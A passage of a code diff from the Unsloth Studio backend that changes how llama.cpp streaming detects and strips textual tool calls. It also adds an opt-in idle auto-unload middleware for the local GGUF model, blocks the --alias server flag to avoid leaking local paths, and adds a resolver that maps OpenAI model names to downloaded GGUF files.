_emit if not _suppress_visible_output: yield { "type": "content", - "text": cleaned, + "text": _emit, } elif detect_state == _S_BUFFERING: @@ -8079,7 +9458,8 @@ class LlamaCppBackend: if not stripped_buf: continue - # Check tool signal prefixes. + # Bracket tags arrive mid-buffer, so substring-check too; + # ``[ARGS]`` counts only as a regex-matched NAME[ARGS]. is_prefix = False is_match = False for sig in _tool_xml_signals: @@ -8089,14 +9469,91 @@ class LlamaCppBackend: if sig.startswith(stripped_buf): is_prefix = True break + if sig == "[ARGS]": + # Active NAME[ARGS] only; inactive-name prose + # is gated out, not drained/parsed. + if ( + _gguf_rehearsal_signal_pos( + stripped_buf, _detect_tools + ) + >= 0 + ): + is_match = True + break + elif sig.startswith("[") and sig in stripped_buf: + is_match = True + break - if is_match: + # Split rehearsal: hold the bare name until + # its [ARGS] arrives and matches above. + is_rehearsal_prefix = False + if ( + not is_match + and not is_prefix + and _is_rehearsal_prefix(stripped_buf, _detect_tools) + ): + is_prefix = True + is_rehearsal_prefix = True + + # Signal-less call shapes (mirror the safetensors + # loop): Llama-3.2 bare {"name":..} and Gemma + # call:NAME{...} would otherwise stream raw. + _hold_buffer = False + # Whole buffer is the call (no visible prefix) -- drain silently. + _drain_silently = False + if not is_match and not is_prefix: + _bare = strip_llama3_leading_sentinels(stripped_buf) + if _bare.startswith("{"): + if _balanced_brace_end(_bare, 0) is None: + if len(stripped_buf) < _MAX_BARE_JSON_BUFFER: + _hold_buffer = True + elif _looks_like_enabled_bare_json( + _bare, _enabled_tool_names + ): + # Oversized still-open enabled call: drain + # rather than leak; a giant ordinary JSON + # answer still streams. + _drain_silently = True + elif self._parse_tool_calls_from_text( + content_buffer, + allow_incomplete = auto_heal_tool_calls, + enabled_tool_names = _enabled_tool_names, + ): + _drain_silently = True + elif ( + "call:".startswith(stripped_buf) + or _GEMMA_BARE_TC_PREFIX_RE.match(stripped_buf) + is not None + or _GEMMA_BARE_TC_RE.match(stripped_buf) is not None + ): + # Whitespace-tolerant like the parser. + if _GEMMA_BARE_TC_RE.match(stripped_buf): + _drain_silently = True + elif len(stripped_buf) < _MAX_BUFFER_CHARS: + _hold_buffer = True + + if _drain_silently: + # The buffered content IS the call; drain it + # without yielding. A live prefix is + # separate from it -- close that. + detect_state = _S_DRAINING + if _close_streamed_think(): + yield { + "type": "content", + "text": cumulative_display, + } + elif is_match: # Tool signal -- flush any visible # prefix before DRAINING so the # route sends it before tool_start. + # Use the final strip (all families incl. Llama + # <|python_tag|> / Mistral name): the buffer holds + # the whole call, so a streaming closed-only strip + # would leak its open-ended markup as display text. _flush_reasoning_and_buffer() - cleaned = _strip_tool_markup_streaming( + cleaned = _strip_tool_markup( cumulative_display, + final = True, force = True, ) if len(cleaned) > len(_last_emitted): @@ -8107,7 +9564,15 @@ class LlamaCppBackend: "text": cleaned, } detect_state = _S_DRAINING - elif is_prefix and len(stripped_buf) < _MAX_BUFFER_CHARS: + elif _hold_buffer or ( + is_prefix + and ( + is_rehearsal_prefix + or len(stripped_buf) < _MAX_BUFFER_CHARS + ) + ): + # A rehearsal prefix is self-bounded; the buffer + # cap must not cut long MCP names short. pass # keep buffering else: # Not a tool -- flush buffer @@ -8118,12 +9583,20 @@ class LlamaCppBackend: cleaned = _strip_tool_markup( cumulative_display, ) - if len(cleaned) > len(_last_emitted): - _last_emitted = cleaned + # Same trailing-name hold as STREAMING for this + # first flush out of BUFFERING. + _hold = _held_rehearsal_tail_len(cleaned, _detect_tools) + _emit = ( + cleaned[: len(cleaned) - _hold] + if _hold + else cleaned + ) + if len(_emit) > len(_last_emitted): + _last_emitted = _emit if not _suppress_visible_output: yield { "type": "content", - "text": cleaned, + "text": _emit, } except json.JSONDecodeError: @@ -8134,7 +9607,18 @@ class LlamaCppBackend: # ── Resolve BUFFERING at stream end ── if detect_state == _S_BUFFERING: stripped_buf = content_buffer.lstrip() - if stripped_buf and any(s in stripped_buf for s in _tool_xml_signals): + # A held bare-JSON fragment has no XML signal; route it to DRAINING (the signal-only + # gate below would flush the raw JSON to the user). + _bare_eos = strip_llama3_leading_sentinels(stripped_buf) + # Gate on enabled names so an ordinary JSON answer isn't routed to DRAINING and dropped. + _is_bare_tc = bool(active_tools) and _looks_like_enabled_bare_json( + _bare_eos, _enabled_tool_names + ) + if stripped_buf and _gguf_has_genuine_tool_signal( + stripped_buf, _tool_xml_signals, _detect_tools + ): + detect_state = _S_DRAINING + elif _is_bare_tc: detect_state = _S_DRAINING elif content_accum or reasoning_accum: detect_state = _S_STREAMING @@ -8150,9 +9634,12 @@ class LlamaCppBackend: ), } elif reasoning_accum and not has_content_tokens: - # Reasoning-only response: show reasoning as plain - # text, matching the final streaming pass for - # models that put everything in reasoning. + # Reasoning-only reply: show it as the main response, + # not a thinking block (mirrors the no-tool path; the + # route's extractor closes the streamed ). + if _reasoning_started_at is not None and not _reasoning_summary_emitted: + _reasoning_summary_emitted = True + yield _reasoning_summary_event(_reasoning_started_at) cumulative_display = reasoning_accum if not _suppress_visible_output: yield { @@ -8160,20 +9647,26 @@ class LlamaCppBackend: "text": cumulative_display, } else: + # Held buffer was no tool signal and no enabled bare-JSON call: a leading ``{`` is an + # ordinary JSON answer and must be shown; any other partial-markup prefix is dropped. + _held = strip_llama3_leading_sentinels(content_buffer.lstrip()) + if _held.startswith("{") and not _suppress_visible_output: + yield {"type": "content", "text": _held} return # ── STREAMING path: no tool call ── if detect_state == _S_STREAMING: - # Safety net: check for XML tool signals in content. The + # Safety net: re-parse the full content for tool calls. The # route layer resets prev_text on tool_start, so post-tool # synthesis streams correctly even if content was emitted # before the tool XML. - _safety_tc = None - if any(s in content_accum for s in _tool_xml_signals): - _safety_tc = self._parse_tool_calls_from_text( - content_accum, - allow_incomplete = auto_heal_tool_calls, - ) + # Unconditional (not gated on _tool_xml_signals): bare-JSON and Gemma wrapper-less + # calls carry no XML signal, so a signal gate would let them slip past. + _safety_tc = self._parse_tool_calls_from_text( + content_accum, + allow_incomplete = auto_heal_tool_calls, + enabled_tool_names = _enabled_tool_names, + ) if not _safety_tc: # ── Re-prompt on plan-without-action ── # If the model described its intent (forward-looking @@ -8191,8 +9684,10 @@ class LlamaCppBackend: r"(?i)\brender[_\s-]?html\b", _stripped, ) + # None keeps the default-on re-prompt; False disables it. if ( auto_heal_tool_calls + and (nudge_tool_calls is None or nudge_tool_calls) and active_tools and not _render_html_already_done_intent and _reprompt_count < _MAX_REPROMPTS @@ -8221,12 +9716,7 @@ class LlamaCppBackend: conversation.append( { "role": "user", - "content": ( - "You have access to enabled tools. If a tool is needed to satisfy " - "the user's request or complete the action you described, call " - f"{tool_hint} now. If no tool is needed, provide the final answer " - "and follow the user's requested format." - ), + "content": _reprompt_to_act_message(tool_hint), } ) # Accumulate tokens and timing from this iteration. @@ -8258,6 +9748,12 @@ class LlamaCppBackend: "type": "content", "text": forced_visible_text, } + elif not _suppress_visible_output: + # Turn ended as a plain answer (no [ARGS] followed): the held + # rehearsal tail is real prose, release it. + _final_clean = _strip_tool_markup_streaming(cumulative_display) + if len(_final_clean) > len(_last_emitted): + yield {"type": "content", "text": _final_clean} # Content was already streamed. Yield metadata. yield {"type": "status", "text": ""} @@ -8290,10 +9786,13 @@ class LlamaCppBackend: for i in sorted(tool_calls_acc) if (tool_calls_acc[i].get("function", {}).get("name", "").strip()) ] or None - if not tool_calls and any(s in content_accum for s in _tool_xml_signals): + if not tool_calls: + # Unconditional re-parse: we only reach DRAINING when the buffer looked like a + # call, and bare-JSON / Gemma wrapper-less calls carry no XML signal to gate on. tool_calls = self._parse_tool_calls_from_text( content_accum, allow_incomplete = auto_heal_tool_calls, + enabled_tool_names = _enabled_tool_names, ) if tool_calls and not has_structured_tc: content_text = _strip_tool_markup( @@ -8301,6 +9800,11 @@ class LlamaCppBackend: final = True, force = True, ) + # ``_strip_tool_markup`` only knows XML; also drop a leading bare-JSON call so the + # executed call isn't replayed as text or next-turn history. + content_text = strip_leading_bare_json_call( + content_text, _enabled_tool_names + ) if tool_calls: logger.info( f"Parsed {len(tool_calls)} tool call(s) from " @@ -8314,6 +9818,13 @@ class LlamaCppBackend: if content_accum: # Strip leaked tool-call XML before yielding. content_accum = _strip_tool_markup(content_accum, final = True) + # A truncated bare-JSON call has no XML markup to strip and didn't parse. With + # Auto-Heal on, drop a leading ENABLED-tool fragment (ordinary JSON answers untouched); + # off keeps it visible per the strict contract. + if content_accum and active_tools and auto_heal_tool_calls: + content_accum = strip_leading_bare_json_call( + content_accum, _enabled_tool_names + ) if content_accum: yield {"type": "content", "text": content_accum} _meta = _build_metadata_event( @@ -8331,6 +9842,29 @@ class LlamaCppBackend: _accumulated_predicted_ms += _it.get("predicted_ms", 0) _accumulated_predicted_n += _it.get("predicted_n", 0) + # Collapse exact-duplicate calls and cap the count for the TEXTUAL + # fallback (mirrors the safetensors loop; see _MAX_TOOL_CALLS_PER_TURN). + if tool_calls and not has_structured_tc and len(tool_calls) > 1: + _seen_keys: set = set() + _deduped: list = [] + for _tc in tool_calls: + _fn = _tc.get("function", {}) or {} + _key = (_fn.get("name", ""), str(_fn.get("arguments", ""))) + if _key in _seen_keys: + continue + _seen_keys.add(_key) + _deduped.append(_tc) + if len(_deduped) >= _MAX_TOOL_CALLS_PER_TURN: + break + if len(_deduped) != len(tool_calls): + logger.info( + "GGUF textual fallback: collapsed %d repeated tool call(s) " + "in one turn to %d", + len(tool_calls), + len(_deduped), + ) + tool_calls = _deduped + # disable_parallel_tool_use: execute only the first tool call # this turn. Truncate before building assistant_msg so the # conversation stays consistent and extra calls are never executed. @@ -8343,20 +9877,30 @@ class LlamaCppBackend: for tc in tool_calls or []: func = tc.get("function", {}) tool_name = func.get("name", "") - provisional_render_html_match = ( - tool_name == "render_html" - and tc.get("id") in provisional_render_html_tool_call_ids - ) + provisional_match = tc.get("id") in provisional_started_tool_calls decision = tool_controller.prepare_call( tc, forced = _forced_tool_call_pending, - provisional = provisional_render_html_match, + provisional = provisional_match, ) if not decision.should_execute: if content_text and not assistant_appended: conversation.append(assistant_msg) assistant_appended = True + if provisional_match: + # A provisional tool card is already on screen for this + # id; close it so it never dangles when the controller + # turns the call into an internal no-op (duplicate / + # disabled / render_html_repeat). + resolved_provisional_tool_call_ids.add(decision.tool_call_id) + yield { + "type": "tool_end", + "tool_name": decision.tool_name, + "tool_call_id": decision.tool_call_id, + "result": "", + "provenance": decision.provenance, + } completion = tool_controller.record_noop(decision) conversation.append(completion.model_message()) if _forced_tool_call_pending: @@ -8401,6 +9945,7 @@ class LlamaCppBackend: == "deny" ): decision_slot = None + resolved_provisional_tool_call_ids.add(decision.tool_call_id) yield { "type": "tool_end", "tool_name": decision.tool_name, @@ -8444,24 +9989,69 @@ class LlamaCppBackend: if decision.tool_name == "search_knowledge_base": _kb_search_count += 1 completion = tool_controller.record_result(decision, result) + resolved_provisional_tool_call_ids.add(decision.tool_call_id) + # A tool ran this turn, so it counts against the caller's budget. + _turn_executed_real_tool = True yield completion.tool_end_event() conversation.append(completion.tool_message()) if _forced_tool_call_pending: _forced_tool_call_pending = False + # Close provisional cards not resolved by execution/no-op handling. + for _pid, _pname in provisional_started_tool_calls.items(): + if _pid not in resolved_provisional_tool_call_ids: + resolved_provisional_tool_call_ids.add(_pid) + yield { + "type": "tool_end", + "tool_name": _pname, + "tool_call_id": _pid, + "result": "", + "provenance": tool_event_provenance(provisional = True), + } + # Clear tool status badge before next generation/final pass. yield {"type": "status", "text": ""} if tool_controller.force_final_answer or not tool_controller.active_tools(): _append_budget_exhausted_nudge = False break + # Count only real tool turns against the cap so reserved re-prompt slots can't become + # extra tool rounds; a no-op correction turn doesn't consume budget (GGUF parity). + if _turn_executed_real_tool: + _tool_iters_done += 1 + if _tool_iters_done >= max_tool_iterations: + break continue + except _LlamaStreamCancelled: + return except httpx.ConnectError: + # Mark unresolved provisional cards as failed before raising. + for _pid, _pname in provisional_started_tool_calls.items(): + if _pid not in resolved_provisional_tool_call_ids: + resolved_provisional_tool_call_ids.add(_pid) + yield { + "type": "tool_end", + "tool_name": _pname, + "tool_call_id": _pid, + "result": "Error: lost connection to llama-server before the tool call completed.", + "provenance": tool_event_provenance(provisional = True), + } raise RuntimeError("Lost connection to llama-server") except Exception as e: if cancel_event is not None and cancel_event.is_set(): return + # Same cleanup for other mid-iteration failures. + for _pid, _pname in provisional_started_tool_calls.items(): + if _pid not in resolved_provisional_tool_call_ids: + resolved_provisional_tool_call_ids.add(_pid) + yield { + "type": "tool_end", + "tool_name": _pname, + "tool_call_id": _pid, + "result": "Error: the tool call was interrupted before it completed.", + "provenance": tool_event_provenance(provisional = True), + } raise # ── Tool iteration cap reached -- synthesize final answer ── @@ -8515,6 +10105,8 @@ class LlamaCppBackend: in_thinking = False has_content_tokens = False reasoning_text = "" + _final_reasoning_started_at: Optional[float] = None + _final_reasoning_summary_emitted = False _metadata_usage = None _metadata_timings = None _metadata_finish_reason = None @@ -8540,6 +10132,12 @@ class LlamaCppBackend: continue if line == "data: [DONE]": if in_thinking: + if ( + _final_reasoning_started_at is not None + and not _final_reasoning_summary_emitted + ): + _final_reasoning_summary_emitted = True + yield _reasoning_summary_event(_final_reasoning_started_at) if has_content_tokens: cumulative += "" yield { @@ -8572,6 +10170,8 @@ class LlamaCppBackend: reasoning = delta.get("reasoning_content", "") if reasoning: + if _final_reasoning_started_at is None: + _final_reasoning_started_at = time.monotonic() reasoning_text += reasoning if not in_thinking: cumulative += "" @@ -8581,6 +10181,12 @@ class LlamaCppBackend: token = delta.get("content", "") if token: + if ( + _final_reasoning_started_at is not None + and not _final_reasoning_summary_emitted + ): + _final_reasoning_summary_emitted = True + yield _reasoning_summary_event(_final_reasoning_started_at) has_content_tokens = True if in_thinking: cumulative += "" @@ -8601,6 +10207,8 @@ class LlamaCppBackend: if _meta is not None: yield _meta + except _LlamaStreamCancelled: + return except httpx.ConnectError: raise RuntimeError("Lost connection to llama-server") except Exception as e: @@ -8672,7 +10280,7 @@ class LlamaCppBackend: system_text = _block_text(system) try: - with httpx.Client(timeout = 10, headers = self._auth_headers) as client: + with httpx.Client(timeout = 10, headers = self._auth_headers, trust_env = False) as client: def _tokenize(text: str) -> int: r = client.post( @@ -8788,7 +10396,7 @@ class LlamaCppBackend: """Codec name on match, None on non-audio, raises on transport/JSON errors.""" if not self.is_loaded: return None - with httpx.Client(timeout = 10, headers = self._auth_headers) as client: + with httpx.Client(timeout = 10, headers = self._auth_headers, trust_env = False) as client: def _detok(tid: int) -> str: # Non-200 means "marker not in vocab" -- keep probing. @@ -8903,7 +10511,9 @@ class LlamaCppBackend: payload["n_probs"] = 1 with httpx.Client( - timeout = httpx.Timeout(300, connect = 10), headers = self._auth_headers + timeout = httpx.Timeout(300, connect = 10), + headers = self._auth_headers, + trust_env = False, ) as client: resp = client.post(f"{self.base_url}/completion", json = payload) if resp.status_code != 200: diff --git a/studio/backend/core/inference/llama_http.py b/studio/backend/core/inference/llama_http.py index b554949c3e..8aa072e35b 100644 --- a/studio/backend/core/inference/llama_http.py +++ b/studio/backend/core/inference/llama_http.py @@ -22,11 +22,7 @@ _LIMITS = httpx.Limits(max_connections = 64, max_keepalive_connections = 32) def _new_client() -> httpx.AsyncClient: - try: - return httpx.AsyncClient(limits = _LIMITS) - except Exception: - # Mirror external_provider: an unsupported env proxy scheme can raise. - return httpx.AsyncClient(limits = _LIMITS, trust_env = False) + return httpx.AsyncClient(limits = _LIMITS, trust_env = False) # One client per running event loop: an httpx client binds its transport to the diff --git a/studio/backend/core/inference/llama_keepwarm.py b/studio/backend/core/inference/llama_keepwarm.py new file mode 100644 index 0000000000..4ce663c3ce --- /dev/null +++ b/studio/backend/core/inference/llama_keepwarm.py @@ -0,0 +1,298 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Opt-in idle auto-unload (TTL keep-warm) for the local llama.cpp model. + +Off by default (idle seconds = 0). When enabled, a background loop unloads the +loaded GGUF once it has been idle for the configured TTL, freeing VRAM. A +pure-ASGI middleware tracks in-flight inference requests so a long stream that +outlives the TTL is never unloaded mid-response. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import threading +import time + +from loggers import get_logger + +logger = get_logger(__name__) + +_lock = threading.Lock() +_inflight = 0 +# Requests blocked on the unload gate but not yet counted in _inflight: the idle +# loop must not unload while one is waiting (it would unload out from under it). +_pending = 0 +_last_active = time.monotonic() +# The (id, quant) idle-unload last freed, so an alias/unknown request that would +# otherwise 503 against an empty backend can reload it (set on unload, cleared on +# reload). Storing the quant means the reload restores the exact freed variant. +_last_unloaded_model = None +# Guards inflight bumps against the idle-check-then-unload race, and blocks new +# inference from starting mid-swap. Process-wide, not per-loop: the backend slot is +# shared across every event loop in the process, so a per-loop gate would let a +# request on loop B start inference while a swap on loop A tears the model down. +_lifecycle_lock = threading.Lock() + + +@contextlib.asynccontextmanager +async def _unload_gate(): + # Acquire off the loop: non-blocking first (the common uncontended case), else + # poll a non-blocking acquire off a short sleep. Polling keeps the wait off this + # loop AND cancellation-safe -- a cancel lands during the sleep, when the gate is + # not held, so it never leaks (mirrors the auto-switch swap gate). + while not _lifecycle_lock.acquire(blocking = False): + await asyncio.sleep(0.02) + try: + yield + finally: + _lifecycle_lock.release() + + +_INFERENCE_PREFIXES = ("/v1/", "/api/inference/") +_INFERENCE_SUFFIXES = ( + "/chat/completions", + "/completions", + "/messages", + "/messages/count_tokens", # counts via the loaded tokenizer; protect like /messages + "/embeddings", + "/responses", + "/generate/stream", # Studio's own streaming route on the same llama-server + "/audio/generate", # direct GGUF TTS; can outlive the idle TTL +) + + +def _is_inference_path(path: str) -> bool: + if path.startswith(_INFERENCE_PREFIXES) and path.endswith(_INFERENCE_SUFFIXES): + return True + # Public checkpoint preview (/p/{run}/v1/chat/completions) delegates to the + # chat handler and streams from the same backend, so protect it from idle unload. + return path.startswith("/p/") and path.endswith("/v1/chat/completions") + + +def _note_pending() -> None: + global _pending + with _lock: + _pending += 1 + + +def _note_unpending() -> None: + global _pending + with _lock: + _pending = max(0, _pending - 1) + + +def _note_start() -> None: + # Do not stamp _last_active here: while _inflight > 0 the model is already + # protected (see _is_idle), and stamping on start lets an external-provider + # request that is later untracked still reset the local idle timer. + global _inflight, _pending + with _lock: + _pending = max(0, _pending - 1) + _inflight += 1 + + +def _note_end() -> None: + global _inflight, _last_active + with _lock: + _inflight = max(0, _inflight - 1) + _last_active = time.monotonic() + + +def _note_untracked_end() -> None: + # Drop a request that never used the local GGUF without stamping local + # activity, so periodic external-provider traffic can't keep the model warm. + global _inflight + with _lock: + _inflight = max(0, _inflight - 1) + + +def _is_idle(ttl_seconds: float) -> bool: + with _lock: + return _inflight == 0 and _pending == 0 and (time.monotonic() - _last_active) >= ttl_seconds + + +def _note_activity() -> None: + """Stamp activity, e.g. on a (re)load, so the model survives at least one TTL.""" + global _last_active + with _lock: + _last_active = time.monotonic() + + +def other_inference_request_count( + current_request_counted: bool = True, *, include_pending: bool = True +) -> int: + """Tracked inference requests other than the current route call. + + The middleware counts OpenAI-compatible requests before route code runs, so + the caller is excluded by default. Idle-unload counts pending waiters too (a + swap holding the gate would unload out from under them). The swap guard passes + include_pending=False: a pending request is blocked in the middleware and has + not started inference, so it can't be the request a swap would interrupt. + """ + with _lock: + active = _inflight + if current_request_counted and active > 0: + active -= 1 + return max(0, active) + (_pending if include_pending else 0) + + +# Set on the ASGI scope by a route that proved this request won't touch +# llama.cpp (e.g. it proxied to an external provider), so the keep-warm count +# excludes it and the middleware skips its own end-decrement. +_UNTRACKED_SCOPE_KEY = "_unsloth_keepwarm_untracked" + + +def untrack_current_request(scope) -> None: + """Drop this request from the in-flight count once the route knows it won't + use the local GGUF, so unrelated external-provider traffic can't trip the + swap busy guard. Idempotent; the middleware then skips its end-decrement.""" + if not isinstance(scope, dict) or scope.get(_UNTRACKED_SCOPE_KEY): + return + scope[_UNTRACKED_SCOPE_KEY] = True + _note_untracked_end() + + +def inference_lifecycle_gate(): + """The gate a model swap holds so new inference can't start mid-load. Process- + wide, so a swap on one loop blocks inference starting on any other loop.""" + return _unload_gate() + + +def note_model_loaded() -> None: + """Record a successful GGUF load: stamp activity and drop any reload stash so + a manual load clears it synchronously, not only on the next idle poll.""" + _note_activity() + _set_last_unloaded(None) + + +def note_model_unloaded() -> None: + """Record a deliberate (user/API) unload: drop any idle reload stash so the next + request can't resurrect the just-unloaded model. The idle loop unloads via the + backend directly and then stashes the freed model for an alias reload; an + explicit unload instead means "stay unloaded", so it must not stamp activity.""" + _set_last_unloaded(None) + + +def get_last_unloaded_model(): + with _lock: + return _last_unloaded_model + + +def _set_last_unloaded(value) -> None: + global _last_unloaded_model + with _lock: + _last_unloaded_model = value + + +class LlamaKeepWarmMiddleware: + """Pure ASGI: count in-flight inference requests and stamp activity on completion.""" + + def __init__(self, app): + self.app = app + + async def __call__(self, scope, receive, send): + # Inference endpoints are all POST; skipping non-POST avoids counting CORS + # preflight (OPTIONS). ``or ""`` guards an explicit None path. + if ( + scope.get("type") != "http" + or scope.get("method") != "POST" + or not _is_inference_path(scope.get("path") or "") + ): + await self.app(scope, receive, send) + return + # Always track in-flight on inference paths, even when the feature is off, + # so a stream that starts before idle-unload is enabled can't be unloaded + # mid-response if the operator turns it on during that stream. Counting is + # cheap and invisible to clients (the response is proxied unchanged). + # Mark pending before the gate so the idle loop (which holds the gate while + # unloading) can't free the model while this request is waiting to start. + _note_pending() + started = False + try: + async with _unload_gate(): + _note_start() + started = True + finally: + if not started: + _note_unpending() + ended = {"done": False} + status = {"code": None} + + def _finish() -> None: + # A route that untracked itself already decremented; don't double-count. + if ended["done"]: + return + ended["done"] = True + if scope.get(_UNTRACKED_SCOPE_KEY): + return + # This middleware runs before FastAPI auth, so a 401/403 reaches here + # without ever touching llama.cpp. Decrement the in-flight count (to + # balance _note_start) but do NOT stamp activity, or repeated + # unauthenticated probes on an exposed server would keep the model warm + # and never let idle-unload free VRAM. + if status["code"] in (401, 403): + _note_untracked_end() + else: + _note_end() + + async def send_wrapper(message): + if message.get("type") == "http.response.start": + status["code"] = message.get("status") + # Final body frame marks the end of a (possibly streaming) response. + elif message.get("type") == "http.response.body" and not message.get( + "more_body", False + ): + _finish() + await send(message) + + try: + await self.app(scope, receive, send_wrapper) + finally: + _finish() + + +def _loaded_identity(backend): + if not backend.is_loaded or not backend.model_identifier: + return None + # Third slot is the advertised id (repo id) an auto-switch load sets on the + # backend; it's the override key, so an idle stash keyed by the concrete load + # path doesn't drop the user's saved launch flags on the alias reload. + advertised = getattr(backend, "_openai_advertised_id", None) or backend.model_identifier + return (backend.model_identifier, getattr(backend, "hf_variant", None), advertised) + + +async def idle_unload_loop(poll_seconds: float = 15.0) -> None: + """Unload the loaded GGUF once idle past the configured TTL. Inert when off.""" + from utils.openai_auto_switch_settings import get_auto_unload_idle_seconds + + seen_model = None + while True: + await asyncio.sleep(poll_seconds) + try: + ttl = get_auto_unload_idle_seconds() + if ttl <= 0: + continue + from routes.inference import get_llama_cpp_backend + + backend = get_llama_cpp_backend() + # Track by (id, variant): a (re)loaded model -- including the same repo + # at a different quant -- counts as activity so it survives one TTL + # before its first request (loads bypass the activity middleware). + current = _loaded_identity(backend) + if current != seen_model: + seen_model = current + if current is not None: + _note_activity() + _set_last_unloaded(None) # a model is loaded; drop stale stash + async with _unload_gate(): + if backend.is_loaded and _is_idle(ttl): + freed = _loaded_identity(backend) + await asyncio.to_thread(backend.unload_model) + _set_last_unloaded(freed) # let an alias request reload it + logger.info("Idle auto-unload: freed GGUF after %ss idle", ttl) + seen_model = None + except Exception as exc: + logger.debug("idle_unload_loop iteration failed: %s", exc) diff --git a/studio/backend/core/inference/llama_server_args.py b/studio/backend/core/inference/llama_server_args.py index b42be5ee0d..f400d2ae40 100644 --- a/studio/backend/core/inference/llama_server_args.py +++ b/studio/backend/core/inference/llama_server_args.py @@ -25,6 +25,11 @@ _DENYLIST_GROUPS: tuple[frozenset[str], ...] = ( # Model identity: Studio resolves it from LoadRequest; a second -m would # load a different model than Studio thinks it loaded. frozenset({"-m", "--model"}), + # Public model id: Studio sets a sanitized --alias so the OpenAI API never + # exposes the local .gguf path. A user-supplied alias is appended after + # Studio's and, with llama.cpp's last-wins parsing, would reintroduce the + # path leak this is meant to prevent. + frozenset({"-a", "--alias"}), frozenset({"-mu", "--model-url"}), frozenset({"-dr", "--docker-repo"}), frozenset({"-hf", "-hfr", "--hf-repo"}), diff --git a/studio/backend/core/inference/local_model_resolver.py b/studio/backend/core/inference/local_model_resolver.py new file mode 100644 index 0000000000..002cafe2c8 --- /dev/null +++ b/studio/backend/core/inference/local_model_resolver.py @@ -0,0 +1,269 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Resolve an OpenAI-request ``model`` string to a downloaded local GGUF. + +Used by the opt-in auto-switch path. The match is conservative: only names +that map to an already-downloaded local GGUF (and a quant that is actually on +disk) are eligible, so an arbitrary OpenAI model string still falls through to +the loaded model (drop-in compat) and no surprise multi-GB download is ever +triggered. The local-model scan is cached for a few seconds since auto-switch +consults it per request. +""" + +from __future__ import annotations + +import threading +import time +from dataclasses import dataclass +from typing import Optional + +from core.inference.model_ids import public_model_id +from loggers import get_logger + +logger = get_logger(__name__) + + +@dataclass(frozen = True) +class _LocalGgufEntry: + loader_id: str # advertised id (repo id / folder name), also the override key + load_path: str # concrete on-disk dir/file passed to /load so it never downloads + variants: tuple[str, ...] # local quant labels; () for a standalone .gguf + + +_CACHE_TTL_S = 5.0 +_lock = threading.Lock() +_scan: tuple[float, dict[str, _LocalGgufEntry]] = (0.0, {}) + + +def _is_abs_path_id(value: str) -> bool: + """True when an id is an absolute filesystem path (the ./models and LM Studio + scanners use the on-disk path as the id) rather than a repo id like org/name.""" + from pathlib import Path + try: + return Path(value).is_absolute() + except Exception: + return False + + +def _advertised_loader_id(info) -> Optional[str]: + """The id to advertise for a scanned model: prefer a client-facing alias over + an absolute filesystem path so /v1/models and the override key never expose a + host path (the ./models and LM Studio scanners report the path as info.id).""" + raw_id = getattr(info, "id", None) + if not raw_id or not _is_abs_path_id(raw_id): + return raw_id + for alt in (getattr(info, "model_id", None), getattr(info, "display_name", None)): + if alt and not _is_abs_path_id(alt): + return alt + # No clean alias: strip to a path-free public id so a host path is never advertised. + return public_model_id(raw_id) or raw_id + + +def _resolve_load_dir(p): + """The concrete dir holding the GGUFs. For an HF cache repo (``models--*`` + with ``snapshots/``) this is the latest snapshot dir, so /load takes the + local branch instead of the download-capable repo-id branch.""" + from pathlib import Path + + try: + if (p / "snapshots").is_dir(): + from routes.models import _resolve_hf_cache_realpath + real = _resolve_hf_cache_realpath(p) + if real: + return Path(real) + except Exception: + pass + return p + + +def _local_gguf_entry(loader_id: str, info) -> Optional[_LocalGgufEntry]: + """Build an entry only when GGUF quants are on disk (not Transformers/ + safetensors), listing only on-disk quants. ``load_path`` is a concrete local + path so /load resolves the variant locally and never fetches a remote one.""" + from pathlib import Path + from utils.models.model_config import _is_mmproj, list_local_gguf_variants + + path = getattr(info, "path", None) + if not isinstance(path, str): + return None + p = Path(path) + try: + if p.is_file(): + # A standalone .gguf loads by its own path; no quant sub-selection. An + # mmproj companion (vision/audio projector) is not a servable model on + # its own: _scan_models_dir's standalone-file pass does not filter it + # the way the directory scan does, so reject it here or /v1/models would + # advertise a projector and a switch could load it instead of the weights, + # evicting the loaded model. The directory branch below is already mmproj + # free (list_local_gguf_variants drops mmproj quants). + if p.suffix.lower() != ".gguf" or _is_mmproj(p.name): + return None + return _LocalGgufEntry(loader_id, str(p), ()) + load_dir = _resolve_load_dir(p) + variants, _ = list_local_gguf_variants(str(load_dir)) + quants = tuple(v.quant for v in variants if getattr(v, "quant", None)) + return _LocalGgufEntry(loader_id, str(load_dir), quants) if quants else None + except Exception: + return None + + +def info_has_local_gguf(info) -> bool: + """True when *info* (a LocalModelInfo) points to on-disk GGUF weights the + auto-switch path can load. Read from the files, not ``info.model_format``: the + HF-cache scanner leaves model_format unset for GGUF snapshots, so a + model_format filter would drop every cached GGUF. Lets /v1/models advertise + exactly what /v1 can serve.""" + from pathlib import Path + + path = getattr(info, "path", None) + # Ollama-link entries come from a scanner _build_index intentionally skips (it + # creates symlinks on the request path), so their advertised ids never resolve. + # Don't report them as servable, or /v1/models would list unswitchable models. + if isinstance(path, str) and any( + seg in (".studio_links", "ollama_links") for seg in Path(path).parts + ): + return False + return _local_gguf_entry(getattr(info, "id", "") or "", info) is not None + + +def _build_index() -> dict[str, _LocalGgufEntry]: + """Map normalized id/model_id/display_name -> local GGUF entry. + + Scans the same roots Studio's model picker lists (./models, the active plus + legacy/default HF caches, LM Studio dirs, and user scan folders) so a named + local model is never missed and silently served as the loaded one. Ollama's + scanner is skipped: it creates symlinks as a side effect and this runs on the + request path. + """ + # Lazy import: routes.models imports core.inference, so import at call time. + from pathlib import Path + from routes.models import ( + _scan_models_dir, + _scan_hf_cache, + _scan_lmstudio_dir, + _resolve_hf_cache_dir, + _is_hidden_model, + ) + from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir, lmstudio_model_dirs + + index: dict[str, _LocalGgufEntry] = {} + seen_hf: set[str] = set() + + def _scan_hf_once(directory) -> list: + if directory is None: + return [] + try: + d = Path(directory) + if not d.is_dir(): + return [] + rp = str(d.resolve()) + if rp in seen_hf: + return [] + seen_hf.add(rp) + return _scan_hf_cache(directory) + except Exception as exc: # a missing/malformed root must skip, never crash the index + logger.debug("auto-switch: skipping HF cache dir %r: %s", directory, exc) + return [] + + # Each source is guarded on its own so one bad root (a permission error, a + # 